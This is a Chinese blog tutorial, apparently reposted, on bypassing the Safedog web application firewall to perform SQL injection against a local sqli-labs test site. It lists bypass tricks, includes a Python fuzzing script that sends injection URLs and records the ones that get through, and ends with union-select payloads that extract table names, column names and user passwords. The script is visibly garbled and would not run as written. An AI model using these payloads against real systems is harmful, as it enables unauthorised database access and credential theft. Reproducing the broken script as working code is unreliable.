实战|绕WAF实现SQL 注入

admin 2022年1月22日01:50:52评论57 views字数 2196阅读7分19秒阅读模式

使用自己编写的Python脚本,实现绕过某WAF限制,实现SQL注入。


先解释一下Fuzz概念,Fuzz是安全测试的一种方法,面对waf无所适从的时候,可以使用Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的payload语句。


SQL注入绕waf常用的方法


使用大小写绕过 例如:

使用注释符/**/ #绕过

使用/!**/绕过

根据数据库特性进行绕过,例如mysql数据,使用/*!5000 union select x,x,x/

更改user-agent

.......


使用/**/结合Fuzz绕过


先组建好sql注入本地测试平台,在服务器中安装某WAF狗。本文使用的中间件为apache和数据库是mysql,首先安装配置安全狗,在此之前需要安装好phpstudy。

实战|绕WAF实现SQL 注入

访问搭建好的SQL注入平台.

实战|绕WAF实现SQL 注入


先进行测试过程为:?id=1’ union select 1,2,3--+ 拦截  。

?id=1’ /*union */select 1,2,3--+ 拦截  。

?id=1' /*union */ 1,2,3--+ 不拦截

?id=1' union 1,2,3--+不拦截

?id=1' select 1,2,3--+不拦截

说明union和select在一起会拦截

使用/*%0a*/union/*%0a*/select/*%0a*/1,2,3--+   拦截   PS:%0a是换行意思

实战|绕WAF实现SQL 注入

那么这个时候可以使用python脚本进行fuzz测试了。测试替换脚本为%0a,%23代码如下:

From urllib import requests

import time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'

union='union'

select='select'

num='1,2,3'

l={'%0a','%23'}

ll={'S'}

lll={'%0a','%23'}

x='/*!'

f='*/'

def bypass():

for xiaofei in a:6t

for xiaofeii in ll:

for xiaofeiii inlll:

for two in range(?,?):   #?自己指定步长

urls=url+xiaofei+xiaofeii+xiaofeiii+ll+str(two)+union+lll+xiaofei+xiaodis+xiaofeii+select+xiaofei+xiaofeii+xiaofeiii+num

try:

result=requests.get(urls).text

len_r=len(result) #len() 方法返回对象(字符、列表、元组等)长度或项目个数。

if (result.find('safedog') == -1):
#print('bypass url addreess:' + urls + '|' + str(len_r))
print('bypass url addreess:'+urls+'|'+str(len_r))
if len_r==715:
fp = open('url.txt', 'l+')

fp.write(urls + 'n')

fp.close()

except Exception as err:

print('connecting error')

time.sleep(0.1)

if __name__ == '__main__':

print('fuzz strat!')

bypass()

测试结果

测试结果为:http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1/*S%0a*/union/*x%0a*/select/*x%0a*/ 1,2,3没有被拦截。

实战|绕WAF实现SQL 注入

扩展

同样利用其他方法进行爆破,下面是payload。

?id=1’ /!20000order/by 3–+
?id=-1’ union /!00000all select/ 1,2,3–+
?id=-1’ union /!00000all select/ 1,database/**/(),3–+
?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=‘security’ limit 3,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=‘users’ limit 2,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+


作者:liangxiaofei 原文地址:http://33h.co/9t245


历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

[WEB安全]Weblogic漏洞总结


查看更多精彩内容,还请关注橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“再看”,感激不尽实战|绕WAF实现SQL 注入

原文始发于微信公众号(橘猫学安全):实战|绕WAF实现SQL 注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月22日01:50:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战|绕WAF实现SQL 注入http://cn-sec.com/archives/745922.html

发表评论

匿名网友 填写信息